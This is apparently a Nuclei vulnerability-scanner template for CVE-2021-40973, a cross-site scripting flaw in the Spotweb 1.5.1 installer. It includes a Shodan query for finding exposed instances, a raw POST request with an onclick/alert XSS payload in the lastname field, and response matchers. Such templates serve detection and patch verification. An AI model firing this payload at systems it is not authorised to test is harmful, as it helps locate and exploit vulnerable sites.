id: CVE-2021-40973 info: name: Spotweb <= 1.5.1 - Cross Site Scripting author: theamanrawat severity: medium description: | Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the lastname parameter. remediation: Fixed in version 1.5.2 reference: - https://github.com/spotweb/spotweb/ - https://github.com/spotweb/spotweb/issues/711 - https://nvd.nist.gov/vuln/detail/CVE-2021-40973 - https://github.com/spotweb/spotweb classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-40973 cwe-id: CWE-79 epss-score: 0.00152 epss-percentile: 0.5132 cpe: cpe:2.3:a:spotweb_project:spotweb:*:*:*:*:*:*:*:* metadata: verified: "true" max-request: 1 vendor: spotweb_project product: spotweb shodan-query: title:"SpotWeb - overview" tags: cve,cve2021,xss,spotweb http: - raw: - | POST /install.php?page=4 HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded settingsform[lastname]=pdteam'+onclick='alert(document.domain) matchers-condition: and matchers: - type: word part: body words: - "onclick='alert(document.domain)" - "Spotweb" condition: and - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 490a0046304402201db75c46ff6f13c161e5af663181144d975da32a58f3ca05d9e6affa46ca9d500220350807a3a44ed19440cfe428b0c3374a4baaca10aedfe88afbb67105e7410565:922c64590222798bb761d5b6d8e72950